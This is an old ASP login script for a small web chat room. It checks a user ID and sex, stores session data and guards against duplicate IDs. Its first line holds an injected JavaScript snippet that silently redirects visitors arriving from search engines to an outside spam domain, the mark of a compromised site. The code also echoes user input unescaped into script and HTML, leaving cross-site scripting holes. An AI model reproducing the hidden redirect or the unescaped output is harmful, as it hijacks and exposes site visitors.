d:\wwwroot\wuchunhua\qq\login.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="mianban.asp"-->
002:
<!--webbot bot="PurpleText" PREVIEW="引用面板显示在线人数：mianban。asp" -->
003:
<%
004:
Dim errs
005:
006:
'检查用户是否输入了ID号
007:
If trim(Request("id"))="" Then
008:
errs="请输入一个唯一的ID号\n"
009:
End If
010:
011:
'检查用户是否选择的性别
012:
If trim(Request("yoursex"))="" Then
013:
errs=errs & "请输入你的性别"
014:
End If
015:
016:
'如果errs不为空，说明出现了错误
017:
If errs<>"" Then
018:
'向页面输入javascript代码，显示错误:退回上一个页面
019:
Response.Write "<script language=""javascript"">"
020:
Response.Write "alert('" & errs & "');"
021:
Response.Write "history.go(-1);"
022:
Response.Write "</script>"
023:
024:
'终止响应
025:
Response.End
026:
End If
027:
028:
'向页面输入正在载入信息
029:
Response.Write "<p align=center><font color=red>正在载入,请稍候...."
030:
031:
'将用户ID值（request“id”）保存到Session（”id“）
032:
Session("id")=trim(Request("id"))
033:
034:
'将用户性别保存到Session
035:
If trim(Request("yoursex"))="girl" Then
036:
Session("yoursex")="girl"
037:
Else
038:
Session("yoursex")="boy"
039:
End If
040:
041:
'将用户电子邮件地址保存到Session
042:
If trim(Request("youremail"))<>"" Then
043:
Session("youremail")=trim(Request("youremail"))
044:
Else
045:
Session("youremail")=" "
046:
End If
047:
048:
'将用户姓名保存到Session
049:
If trim(Request("yourname"))<>"" Then
050:
Session("yourname")=trim(Request("yourname"))
051:
Else
052:
Session("yourname")=trim(Request("id"))
053:
End If
054:
055:
'字符串处理函数
056:
Function FormatStr(str)
057:
'将,和|两个字符进行替换
058:
',被用来分割用户各个信息
059:
'|被用来分割不同用户的信息
060:
str=replace(str,",",",")
061:
FormatStr=replace(str,"|","|")
062:
End Function
063:
064:
'变量定义
065:
Dim user_id,user_name,curUserData,sex
066:
067:
'调用FormatStr函数处理用户信息
068:
user_id=Session("id")
069:
user_id=FormatStr(user_id)
070:
user_name=Session("yourname")
071:
user_name=FormatStr(user_name)
072:
curUserData=user_id & "," & user_name & "," & now()
073:
074:
'获得用户信息字符串，各项之间用,隔开
075:
curUserData=curUserData & "," & FormatStr(Session("youremail")) & "," & Session("yoursex")
076:
user_id=cstr(user_id)
077:
078:
Dim users,i,flag,userArray,userData
079:
flag=0
080:
081:
'从Application中获得Users变量
082:
'它代表所有用户的信息
083:
users=Application("Users")
084:
085:
'使用|字符对users变量进行分割成各个用户的信息记录
086:
'保存到数组变量中
087:
userArray=split(users,"|")
088:
089:
'循环处理每一个用户的记录
090:
For i=1 To ubound(userArray)
091:
'使用,字符将userArray变量分割成用户的各项信息记录
092:
userData=split(userArray(i),",")
093:
094:
'比较登陆用户的ID和在线用户的ID号是否相同
095:
If cstr(userData(0))=user_id Then
096:
'相同则设置flag变量为1
097:
flag=1
098:
099:
'跳出循环
100:
Exit For
101:
End If
102:
Next
103:
104:
'如果flag变量为1
105:
'说明与在线用户的ID重复
106:
If flag=1 Then
107:
'输出出错信息，要求用户重新登陆
108:
Response.Write "<p algin=center>"
109:
Response.Write "<font color>这个id号已经有人在使用或你上次没有正常离开,请用另一个身份进入...一分钟之后可以重新用这个身份进入 cstr(userData(0))=user_id就是：" & user_id
110:
111:
'终止响应
112:
Response.End
113:
Else
114:
'Application加锁
115:
Application.lock
116:
'将登陆用户的信息记录保存到Application中
117:
Application("Users")=Application("Users") & "|" & curUserData
118:
'Application解锁
119:
Application.unlock
120:
End If
121:
122:
'向页面输出javascript
123:
Response.Write "<script language=""javascript"">"
124:
125:
'打开新窗口，显示聊天面板
126:
Response.Write "window.open('mianban.asp','_blank','width=100,height=300,noscrollbars');"
127:
Response.Write "window.close();"
128:
Response.Write "</script>"
129:
%
>
130:
131: